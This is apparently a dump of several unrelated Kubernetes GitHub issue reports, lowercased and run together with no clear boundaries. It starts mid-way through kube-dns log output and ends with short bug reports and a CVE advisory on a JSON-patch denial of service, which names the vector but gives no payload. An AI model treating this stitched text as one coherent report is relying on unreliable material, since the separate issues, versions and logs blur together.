--log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053  true} /etc/k8s/dns/dnsmasq-nanny 10000000000}\r i0831 12:10:29.733134       1 nanny.go:94  starting dnsmasq  -k --cache-size=1000 --no-negcache --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053 \r i0831 12:10:29.738089       1 nanny.go:116  dnsmasq 9 : started, version 2.78 cachesize 1000\r i0831 12:10:29.738107       1 nanny.go:116  dnsmasq 9 : compile time options: ipv6 gnu-getopt no-dbus no-i18n no-idn dhcp dhcpv6 no-lua tftp no-conntrack ipset auth no-dnssec loop-detect inotify\r i0831 12:10:29.738113       1 nanny.go:116  dnsmasq 9 : using nameserver 127.0.0.1 10053 for domain ip6.arpa\r i0831 12:10:29.738118       1 nanny.go:116  dnsmasq 9 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa\r i0831 12:10:29.738123       1 nanny.go:116  dnsmasq 9 : using nameserver 127.0.0.1 10053 for domain cluster.local\r i0831 12:10:29.738128       1 nanny.go:116  dnsmasq 9 : reading /etc/resolv.conf\r i0831 12:10:29.738133       1 nanny.go:116  dnsmasq 9 : using nameserver 127.0.0.1 10053 for domain ip6.arpa\r i0831 12:10:29.738138       1 nanny.go:116  dnsmasq 9 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa\r i0831 12:10:29.738143       1 nanny.go:116  dnsmasq 9 : using nameserver 127.0.0.1 10053 for domain cluster.local\r i0831 12:10:29.738148       1 nanny.go:116  dnsmasq 9 : using nameserver 10.1.0.2 53\r i0831 12:10:29.738152       1 nanny.go:116  dnsmasq 9 : read /etc/hosts - 7 addresses\r i0831 12:10:29.738163       1 nanny.go:119 \r w0831 12:10:29.738168       1 nanny.go:120  got eof from stdout\r kubectl --kubeconfig config/kubeconfig --namespace=kube-system logs kube-dns-fcf678fb4-xbrss -c sidecar\r i0831 12:04:04.378066       1 main.go:51  version v1.14.8.3\r i0831 12:04:04.378125       1 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:33} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:33}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r i0831 12:04:04.378172       1 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:33}\r i0831 12:04:04.378222       1 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:33}\r w0831 12:04:04.379628       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:41711->127.0.0.1:53: read: connection refused\r w0831 12:04:09.379944       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:55050->127.0.0.1:53: read: connection refused\r w0831 12:04:14.380215       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:41534->127.0.0.1:53: read: connection refused\r w0831 12:04:19.380501       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:44528->127.0.0.1:53: read: connection refused\r w0831 12:04:24.380789       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:52967->127.0.0.1:53: read: connection refused\r w0831 12:04:29.381085       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:54728->127.0.0.1:53: read: connection refused\r w0831 12:04:34.381393       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:35695->127.0.0.1:53: read: connection refused\r w0831 12:04:39.381689       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:49693->127.0.0.1:53: read: connection refused\r w0831 12:04:44.381999       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:51652->127.0.0.1:53: read: connection refused\r w0831 12:04:49.382294       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:41022->127.0.0.1:53: read: connection refused\r w0831 12:04:54.382638       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:37246->127.0.0.1:53: read: connection refused\r w0831 12:04:59.382926       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:44166->127.0.0.1:53: read: connection refused\r w0831 12:05:04.383228       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:44140->127.0.0.1:53: read: connection refused\r w0831 12:05:09.383546       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:53835->127.0.0.1:53: read: connection refused\r w0831 12:05:14.383836       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:48914->127.0.0.1:53: read: connection refused\r w0831 12:05:19.384151       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:48103->127.0.0.1:53: read: connection refused\r w0831 12:05:24.384450       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:46490->127.0.0.1:53: read: connection refused\r w0831 12:05:29.384750       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:50205->127.0.0.1:53: read: connection refused\r w0831 12:05:34.385045       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:45793->127.0.0.1:53: read: connection refused\r w0831 12:05:39.385348       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:50334->127.0.0.1:53: read: connection refused\r w0831 12:05:44.385652       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:52746->127.0.0.1:53: read: connection refused\r w0831 12:05:49.385962       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:59301->127.0.0.1:53: read: connection refused\r w0831 12:05:54.386286       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:42182->127.0.0.1:53: read: connection refused\r w0831 12:05:59.386605       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:50868->127.0.0.1:53: read: connection refused\r w0831 12:06:04.386883       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:60512->127.0.0.1:53: read: connection refused\r w0831 12:06:09.387175       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:45944->127.0.0.1:53: read: connection refused\r w0831 12:06:14.387466       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:33730->127.0.0.1:53: read: connection refused\r w0831 12:06:19.387788       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:36399->127.0.0.1:53: read: connection refused\r w0831 12:06:24.388110       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:45115->127.0.0.1:53: read: connection refused\r w0831 12:06:29.388429       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:45192->127.0.0.1:53: read: connection refused\r w0831 12:06:34.388727       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:53974->127.0.0.1:53: read: connection refused\r w0831 12:06:39.389034       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:55005->127.0.0.1:53: read: connection refused\r w0831 12:06:44.389326       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:51139->127.0.0.1:53: read: connection refused\r w0831 12:06:49.389619       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:39802->127.0.0.1:53: read: connection refused\r w0831 12:06:54.389932       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:56108->127.0.0.1:53: read: connection refused\r w0831 12:06:59.390225       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:55381->127.0.0.1:53: read: connection refused\r w0831 12:07:04.390520       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:41744->127.0.0.1:53: read: connection refused\r w0831 12:07:09.390834       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:52720->127.0.0.1:53: read: connection refused\r w0831 12:07:14.391118       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:35032->127.0.0.1:53: read: connection refused\r w0831 12:07:19.391407       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:52290->127.0.0.1:53: read: connection refused\r w0831 12:07:24.391751       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:36375->127.0.0.1:53: read: connection refused\r w0831 12:07:29.392068       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:60203->127.0.0.1:53: read: connection refused\r w0831 12:07:34.392347       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:47020->127.0.0.1:53: read: connection refused\r w0831 12:07:39.392653       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:50355->127.0.0.1:53: read: connection refused\r w0831 12:07:44.392975       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:56098->127.0.0.1:53: read: connection refused\r w0831 12:07:49.393323       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:51648->127.0.0.1:53: read: connection refused\r w0831 12:07:54.393619       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:49270->127.0.0.1:53: read: connection refused\r w0831 12:07:59.393930       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:42771->127.0.0.1:53: read: connection refused\r w0831 12:08:04.394261       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:43959->127.0.0.1:53: read: connection refused\r w0831 12:08:09.394563       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:35424->127.0.0.1:53: read: connection refused\r w0831 12:08:14.394858       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:56035->127.0.0.1:53: read: connection refused\r w0831 12:08:19.395147       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:33081->127.0.0.1:53: read: connection refused\r w0831 12:10:29.411641       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:56785->127.0.0.1:53: read: connection refused\r panic: counter cannot decrease in value\r goroutine 1  running :\r k8s.io/dns/vendor/github.com/prometheus/client_golang/prometheus.  counter .add 0xc420387b00, 0xc05e000000000000 \r     /go/src/k8s.io/dns/vendor/github.com/prometheus/client_golang/prometheus/counter.go:71 +0xc5\r k8s.io/dns/pkg/sidecar.exportmetrics 0xc42000c2d8 \r     /go/src/k8s.io/dns/pkg/sidecar/server.go:86 +0x1b0\r k8s.io/dns/pkg/sidecar.  server .runmetrics 0xc42034ccf0, 0xc4203c8fc0 \r     /go/src/k8s.io/dns/pkg/sidecar/server.go:68 +0x1d8\r k8s.io/dns/pkg/sidecar.  server .run 0xc42034ccf0, 0xc4203c8fc0 \r     /go/src/k8s.io/dns/pkg/sidecar/server.go:53 +0x2e5\r main.main  \r     /go/src/k8s.io/dns/cmd/sidecar/main.go:56 +0x1fb\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.6\ , gitcommit:\ a21fdbd78dde8f5447f5f6c331f7eb6f80bd684e\ , gittreestate:\ clean\ , builddate:\ 2018-07-26t10:04:08z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r aws\r \r - os  e.g. from /etc/os-release :\r ubuntu 16.04 ami\r \r - kernel  e.g.  uname -a  :\r linux ip-xx-xx-xx-xx.region.compute.internal 4.14.62-70.117.amzn2.x86_64  1 smp fri aug 10 20:14:53 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

i1025 04:07:14.182379       1 dns.go:48  version: 1.14.6-3-gc36cb11\r i1025 04:07:14.182824       1 server.go:73  configmap and configdir not configured, using values from command line flags\r i1025 04:07:14.182862       1 server.go:112  flag: --alsologtostderr=\ false\ \r i1025 04:07:14.182882       1 server.go:112  flag: --config-dir=\ \ \r i1025 04:07:14.182885       1 server.go:112  flag: --config-map=\ \ \r i1025 04:07:14.182887       1 server.go:112  flag: --config-map-namespace=\ kube-system\ \r i1025 04:07:14.182888       1 server.go:112  flag: --config-period=\ 10s\ \r i1025 04:07:14.182891       1 server.go:112  flag: --dns-bind-address=\ 0.0.0.0\ \r i1025 04:07:14.182893       1 server.go:112  flag: --dns-port=\ 10053\ \r i1025 04:07:14.182896       1 server.go:112  flag: --domain=\ cluster.local.\ \r i1025 04:07:14.182899       1 server.go:112  flag: --federations=\ \ \r i1025 04:07:14.182902       1 server.go:112  flag: --healthz-port=\ 8081\ \r i1025 04:07:14.182904       1 server.go:112  flag: --initial-sync-timeout=\ 1m0s\ \r i1025 04:07:14.182939       1 server.go:112  flag: --kube-master-url=\ http://192.168.2.202:8080\ \r i1025 04:07:14.182943       1 server.go:112  flag: --kubecfg-file=\ \ \r i1025 04:07:14.182944       1 server.go:112  flag: --log-backtrace-at=\ :0\ \r i1025 04:07:14.182948       1 server.go:112  flag: --log-dir=\ \ \r i1025 04:07:14.182950       1 server.go:112  flag: --log-flush-frequency=\ 5s\ \r i1025 04:07:14.182951       1 server.go:112  flag: --logtostderr=\ true\ \r i1025 04:07:14.182953       1 server.go:112  flag: --nameservers=\ \ \r i1025 04:07:14.182955       1 server.go:112  flag: --stderrthreshold=\ 2\ \r i1025 04:07:14.182956       1 server.go:112  flag: --v=\ 2\ \r i1025 04:07:14.182958       1 server.go:112  flag: --version=\ false\ \r i1025 04:07:14.182970       1 server.go:112  flag: --vmodule=\ \ \r i1025 04:07:14.183008       1 server.go:194  starting skydns server  0.0.0.0:10053 \r i1025 04:07:14.183147       1 server.go:213  skydns metrics enabled  /metrics:10055 \r i1025 04:07:14.183164       1 dns.go:146  starting endpointscontroller\r i1025 04:07:14.183166       1 dns.go:149  starting servicecontroller\r i1025 04:07:14.183475       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i1025 04:07:14.183481       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i1025 04:07:14.683292       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:15.183493       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:15.683587       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:16.183636       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:16.683568       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:17.183637       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:17.683648       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:18.183622       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:18.683250       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:19.183282       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:19.683647       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:20.183430       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:20.684138       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:21.183507       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:21.683648       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:22.183214       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:22.683278       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:23.183335       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:23.683642       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:24.183485       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:24.683556       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:25.183573       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:25.683646       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:26.183654       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:26.683357       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:27.183417       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:27.683954       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:28.183493       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:28.683426       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:29.183398       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:29.683787       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:30.183908       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:30.683751       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:31.183342       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:31.683363       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:32.183252       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:32.683656       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:33.183540       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:33.683507       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:34.183696       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:34.683720       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:35.183801       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:35.683625       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:36.184111       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:36.683829       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:37.183414       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:37.683267       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:38.183292       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:38.683478       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:39.183418       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:39.683857       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:40.184341       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:40.684010       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:41.184049       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:41.683949       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:42.183838       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:42.683230       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:43.183856       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:43.683766       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i1025 04:07:44.183871       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r e1025 04:07:44.184178       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get http://192.168.2.202:8080/api/v1/endpoints?resourceversion=0: dial tcp 192.168.2.202:8080: i/o timeout\r e1025 04:07:44.184725       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get http://192.168.2.202:8080/api/v1/services?resourceversion=0: dial tcp 192.168.2.202:8080: i/o timeout

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r unexpected results creating and deleting a deployment\r \r commands as below:\r \r    \r $ kubectl get deployments\r no resources found.\r \r $ kubectl create -f deployment.yaml\r error from server  alreadyexists : error when creating \ deployment.yaml\ : deployments.apps \ myapp\  already exists\r \r $ kubectl delete deployment myapp\r error from server  notfound : deployments.extensions \ myapp\  not found\r \r $ kubectl get deployments\r no resources found.\r    \r \r kubectl does not find any deployments yet  kubectl create  fails saying the deployment already exists.  upon attempting to delete the deployment kubectl fails saying that deployment is not found.\r \r   what you expected to happen  :\r if deployment already exists, delete should succeed. if deployment doesn't exist, create should succeed. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r the errors appear to have a mismatch of apigroups:\r on create:  deployments.apps \r on delete:  deployments.extensions \r \r in a similar previous deployment i used  apiversion: extensions/v1beta1  instead of the below  apiversion \r \r deployments.yaml\r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: myapp\r   namespace: architecture\r   labels:\r     tier: frontend\r     app: myapp\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       tier: frontend\r     matchexpressions:\r       - key: tier\r         operator: in\r         values:\r           - frontend\r   template:\r     metadata:\r       labels:\r         app: myapp\r         tier: frontend\r     spec:\r       imagepullsecrets:\r         - name: mysecrets\r       containers:\r       - name: mycontainer\r         image: myrepo:8082/myfolder/myapp:latest\r         resources:\r           requests:\r             cpu: 100m\r             memory: 100mi\r         ports:\r         - containerport: 80\r    \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.11\ , gitcommit:\ 637c7e288581ee40ab4ca210618a89a555b6e7e9\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t14:38:32z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.5-eks-6bad6d\ , gitcommit:\ 6bad6d9c768dc0864dab48a11653aa53b5a47043\ , gittreestate:\ clean\ , builddate:\ 2018-12-06t23:13:14z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  aws eks \r - os  e.g:  cat /etc/os-release  :  macos 10.14.3 \r - kernel  e.g.  uname -a  : \r    \r local 18.2.0 darwin kernel version 18.2.0: thu dec 20 20:46:53 pst 2018; root:xnu-4903.241.1~1/release_x86_64 x86_64\r    \r - install tools:\r - others:\r

the total provisioning time metrics introduced here - https://github.com/kubernetes/kubernetes/pull/66389 are not acurate. this is because, they only measure single execution of provisioning and deletion  and do not count retries. \r \r these should instead time, total time taken when first pvc was created and time when pvc was actually bound. \r \r  cc @bertinatto @msau42 \r

e.g. these commits  https://github.com/kubernetes/kubernetes/commit/14d7263b1289eed6001353696aed9dea85739c9e plus running ./hack/update-all.sh

there's a deployment test called  \ overlapping deployment should not fight with each other\   with a part called  \ waiting for the second deployment to clear overlapping annotation\   that only passes because of a tight resync period.  the test indicates that the secondary deployment would not become active when the first one was deleted until the resync happens, so the controller doesn't work well without a tight resync.  @kargakis can you find the right home for this?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :bug report\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r the err message in addnamespacerolebinding is wrong.\r \r ref to  46685

  \r   what happened  :\r \r i found out there's a black-box setting called \ guaranteed pods\  that is only enabled if resource requests and limits are the same. this seems to be only documented at the  bottom of one page  https://kubernetes.io/docs/tasks/administer-cluster/out-of-resource/ evicting-end-user-pods \r \r   what you expected to happen  :\r \r i expect pod-level settings to  not  be activated in a manner that is opaquely contingent on two other settings being the same. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r set a pod's resource requests and limits to be the same values, then attempt to organically evict the pod by over-allocating the node with another load. it will not reschedule, and no output will obviously label the pod as \ guaranteed\   no user feedback . \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0\r

 \r   what happened  :\r  given list with duplicated keys d1\r \r    \r merginglist:\r  - name: d1\r    value: url1\r  - name: a\r    value: x\r  - name: d1\r    value: url2\r    \r \r and a patch updating non-duplicated key a:\r    \r $setelementorder/merginglist:\r  - name: d1\r  - name: a\r  - name: d1\r merginglist:\r  - name: a\r    value: z\r    \r \r it reorders keys:\r    \r merginglist: \r  - name: d1\r    value: url1\r  - name: d1\r    value: url2\r  - name: a\r    value: z\r    \r \r   what you expected to happen  :\r \r order of duplicated keys stays the same\r    \r merginglist: \r  - name: d1\r    value: url1\r  - name: a\r    value: z\r  - name: d1\r    value: url2\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i created test-case which fails on release-1.10 and master: https://github.com/redbaron/kubernetes/commit/971c1b20e51dd2090a9fd585bafa18282c2984f5\r \r   anything else we need to know?  :\r \r i am trying to find out why kubectl creates incorrect patch on apply. although i can't reproduce it with a simple test case like in this ticket, it look related to it. on a real resource kubectl apply it reorders keys in generated patch, so it generates something like:\r \r    \r $setelementorder/merginglist:\r  - name: d1\r  - name: a\r  - name: d1\r merginglist:\r  - name: d1\r    value: url1\r  - name: d1\r    value: url2\r  - name: a\r    value: z\r    \r \r which makes it an invalid patch as order of keys differs from order of values. this reordering might or might not be result of the same underneath bug.\r \r  \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r currently  kubectl top node  is unable to present labels as columns as  kubectl get . \r \r it is kinda inconvenient if the name of the node only contains its ip, which is common when the nodes are created by tools like  kops , because it is hard to tell a node from each other without labels.\r \r   what you expected to happen  :\r i hope  kubectl top node  could have a  -l, --label-columns=    option like  kubectl get . \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

cvss:3.0/av:n/ac:l/pr:l/ui:n/s:u/c:n/i:n/a:h  https://www.first.org/cvss/calculator/3.0 cvss:3.0/av:n/ac:l/pr:l/ui:n/s:u/c:n/i:n/a:h   6.5, medium \r \r users that are authorized to make patch requests to the kubernetes api server can send a specially crafted patch of type “json-patch”  e.g.  kubectl patch --type json  or  \ content-type: application/json-patch+json\    that consumes excessive resources while processing, causing a denial of service on the api server.\r \r thanks to carl henrik lunde for reporting this problem.\r \r cve-2019-1002100 is   fixed   in the following kubernetes releases:\r \r    v1.11.8  https://github.com/kubernetes/kubernetes/blob/master/changelog-1.11.md/ v1118 \r    v1.12.6  https://github.com/kubernetes/kubernetes/blob/master/changelog-1.12.md/ v1126 \r    v1.13.4  https://github.com/kubernetes/kubernetes/blob/master/changelog-1.13.md/ v1134 \r \r     affected components:\r   kubernetes api server\r \r     affected versions:\r   kubernetes v1.0.x-1.10.x\r   kubernetes v1.11.0-1.11.7  fixed in  v1.11.8  https://github.com/kubernetes/kubernetes/blob/master/changelog-1.11.md/ v1118  \r   kubernetes v1.12.0-1.12.5  fixed in  v1.12.6  https://github.com/kubernetes/kubernetes/blob/master/changelog-1.12.md/ v1126  \r   kubernetes v1.13.0-1.13.3  fixed in  v1.13.4  https://github.com/kubernetes/kubernetes/blob/master/changelog-1.13.md/ v1134  \r \r     mitigations:\r   remove ‘patch’ permissions from untrusted users.\r \r note: if you are using binaries or packages provided by a distributor  not the ones provided in the open source release artifacts , you should contact them to determine what versions resolve this cve. distributors may choose to provide support for older releases beyond the ones maintained by the open source project.

what happened  :\r after removing auto-cleanup logic for non-current kube-proxy modes, kube-proxy has to be called manual with    cleanup    flag see, https://github.com/kubernetes/kubernetes/pull/76109 . after switching the proxy mode from    iptables    to    ipvs   , kube-proxy gets called with the    --cleanup    flag and goes in a non-operational loop after https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-proxy/app/server.go l696. when a new svc is created it is non-functional until kube-proxy gets restarted without the    --cleanup    flag.   \r   \r   what you expected to happen  :\r kube-proxy should report when the cleanup job is done and exit in a clean way. currently it is hanging in an infinite loop.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.14.1\r \r /cc @vllry @zanetworker @timuthy

we should run daemonsets, deployments, ingresses etc. in the scalability/performance tests, not just replication controllers especially since many of these are graduating to beta.  cc @davidopp @kubernetes/goog-control-plane @kubernetes/sig-scalability

in the  listoptions  used for lists and watches on etcd, the  timeoutseconds  field is   int64 . i do not quite understand why it needs to be a _pointer_ to an  int64 , but in either case, this type is entirely incompatible with  time.duration  and makes it annoying and difficult to create  listoptions . if some internal of etcd's watch or list requires the   int64 , that should ideally be hidden from the user.

hack/test-cmd.sh  https://github.com/kubernetes/kubernetes/blob/bfc953cd4b0e1e1d0b0f4d341baa5b5537920f09/hack/test-cmd.sh l142  is referencing  gcr.io/google-containers/perl  which cannot be found atm.   @erictune fyi

